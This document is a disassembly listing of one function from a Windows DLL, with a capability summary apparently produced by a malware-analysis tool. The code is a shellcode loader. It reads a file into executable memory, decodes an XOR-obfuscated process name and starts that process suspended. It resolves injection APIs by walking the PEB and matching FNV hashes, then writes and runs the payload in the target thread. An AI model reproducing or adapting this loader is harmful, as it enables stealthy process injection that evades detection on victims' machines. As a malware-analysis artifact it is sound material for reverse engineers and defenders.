Function at 0x180001e50
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x750]
sub rsp, 0x850
movaps xmmword [rsp + 0x840], xmm6
xor r13d, r13d
mov dword [rbp + 0x790], r13d
mov rax, qword [0x180033588]
mov qword [rbp + 0x790], rax
lea esi, [r13 + 0x1f]
lea r12d, [r13 + 4]
mov edi, dword [0x180039080]
cmp byte [0x18003358f], r13b
je 0x180002002
mov r8d, r13d
cmp edi, 2
jl 0x180001fbd
movdqa xmm4, xmmword [0x180033780]
movd xmm6, r12d
movd xmm5, esi
movdqa xmm2, xmmword [0x180033730]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180033750]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180033760]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, dword [rbp + 0x790]
pxor xmm2, xmm0
movd dword [rbp + 0x790], xmm2
movdqa xmm3, xmmword [0x180033740]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180033750]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180033760]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, dword [rbp + 0x794]
pxor xmm2, xmm0
movd dword [rbp + 0x794], xmm2
jmp 0x180002002
lea r9, [rbp + 0x790]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180001fd0
lea rdx, [rbp + 0x790]
lea rcx, [rbp + 0x130]
call fcn.180004410
nop
lea rdx, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
cmp qword [rbp + 0x1c0], 0
jne 0x180002031
mov ebx, 1
jmp 0x180002989
lea rcx, [0x180000000]
lea rax, [rcx + 0x336d0]
mov qword [rbp - 0x40], rax
lea rax, [rcx + 0x33590]
mov qword [rbp - 0x30], rax
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x88], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x90], xmm0
mov ebx, 1
mov dword [rbp + 0x790], ebx
mov qword [rbp + 0x58], rdx
mov dword [rbp + 0x54], 0x80
mov qword [rbp - 0x38], r13
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x58]
call fcn.180005420
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x34], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x20]
mov dword [rbp + rcx - 0x44], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x28]
call fcn.180005390
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x40], r13
mov dword [rbp + 0x48], r13d
lea rdx, [rbp + 0x140]
lea rcx, [rbp - 0x30]
call fcn.180003320
nop
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov dword [rbp + 0x790], 0x21
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
mov ecx, dword [rbp + 0x48]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x18000217e
mov rax, qword [rbp + 0x18]
mov r8, qword [rax]
test r8, r8
je 0x18000217e
mov rax, qword [rbp - 8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x40]
cmovb r8, qword [rbp + 0x40]
sub r8, rdx
jmp 0x1800021af
test cl, 4
jne 0x1800021a5
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x1800021a5
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x1800021af
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x1800021be
lea rcx, [rbp - 0x68]
call fcn.1800050b0
nop
lea rcx, [rbp + 0x140]
call fcn.180004ef0
mov ebx, 2
test rax, rax
jne 0x18000220e
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x178], 0
cmovne eax, ebx
or eax, dword [rbp + rcx + 0x140]
and eax, 0x17
mov dword [rbp + rcx + 0x140], eax
and eax, dword [rbp + rcx + 0x144]
jne 0x180002a3e
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x80]
call fcn.180001ca0
nop
mov r14, qword [rbp - 0x78]
sub r14, qword [rbp - 0x80]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
je 0x1800028fd
mov r8, r14
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180008df0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc4], xmm0
movups xmmword [rbp + 0xd4], xmm0
movups xmmword [rbp + 0xe4], xmm0
movups xmmword [rbp + 0xf4], xmm0
movups xmmword [rbp + 0x104], xmm0
movups xmmword [rbp + 0x114], xmm0
mov dword [rbp + 0x124], eax
mov dword [rbp + 0xc0], 0x68
movsd xmm0, qword [str.JLT_PQ_r_rn_:D]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x1800334f0]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x1800334f4]
mov byte [rsp + 0x5c], al
mov r8d, r13d
cmp edi, 2
jl 0x1800023cf
movdqa xmm4, xmmword [0x180033780]
movd xmm6, r12d
movd xmm5, esi
movdqa xmm2, xmmword [0x180033730]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180033750]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180033760]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.JLT_PQ_r_rn_:D]
pxor xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x180033740]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180033750]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180033760]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
pxor xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800023e0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180002459
lea ebx, [rax + 3]
jmp 0x1800028fd
mov dword [rbp + 0x2a0], 0x10000b
lea rdx, [rbp + 0x270]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x180002506
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002506
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xb20af6a3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002501
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800024e0
cmp r8d, 0x5f066eca
je 0x18000250b
test r9d, r9d
jne 0x1800024c0
mov rax, qword [rax]
jmp 0x180002490
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, r14
xor edx, edx
mov rcx, qword [rsp + 0x68]
call r10
mov rsi, rax
test rax, rax
jne 0x18000254e
mov ebx, r12d
jmp 0x1800028fd
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1800025d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800025d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xc511d051
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800025d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800025b0
cmp r8d, 0xdf9d3e
je 0x1800025db
test r9d, r9d
jne 0x180002590
mov rax, qword [rax]
jmp 0x180002560
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov qword [rsp + 0x20], r13
mov r9, r14
mov r8, r15
mov rdx, rsi
mov rcx, qword [rsp + 0x68]
call r10
mov qword [rbp + 0x368], rsi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800026a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800026a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb1ef2026
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800026a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002680
cmp r8d, 0xc6dcb7f5
je 0x1800026ab
test r9d, r9d
jne 0x180002660
mov rax, qword [rax]
jmp 0x180002630
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x270]
mov rcx, qword [rsp + 0x70]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002766
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002766
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc66e67b3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002761
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180002740
cmp r8d, 0xbc716388
je 0x18000276b
test r9d, r9d
jne 0x180002720
mov rax, qword [rax]
jmp 0x1800026f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x70]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002816
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002816
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x57693bc8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002811
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1800027f0
cmp r8d, 0x743f98b2
je 0x18000281b
test r9d, r9d
jne 0x1800027d0
mov rax, qword [rax]
jmp 0x1800027a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x70]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1800028c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1800028c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x5c6b823e
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1800028c1
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1800028a0
cmp r8d, 0xc22285b4
je 0x1800028cb
test r9d, r9d
jne 0x180002880
mov rax, qword [rax]
jmp 0x180002850
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x68]
call rdx
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, r13d
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x180002943
mov rdx, qword [rbp - 0x70]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002932
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002a8c
call fcn.180006ec8
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x18000297f
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002979
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002a38
call fcn.180006ec8
nop
lea rcx, [rbp - 0x40]
call fcn.180002b40
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x140]
call fcn.180004150
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x130], rax
mov rcx, qword [rbp + 0x130]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x18]
mov dword [rbp + rdx + 0x12c], r8d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp + 0x1e0]
call fcn.1800065f4
nop
mov eax, ebx
mov rbx, qword [rsp + 0x8a0]
movaps xmm6, xmmword [rsp + 0x840]
add rsp, 0x850
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.18000fd34
nop
test al, 4
je 0x180002a4b
lea rdx, str.ios_base::badbit_set
jmp 0x180002a5f
test bl, al
lea rdx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1800012e0
mov r8, rax
lea rcx, [rbp + 0x240]
call fcn.180001b40
lea rdx, [0x1800376d0]
lea rcx, [rbp + 0x240]
call fcn.180008d20
int3
call fcn.18000fd34
int3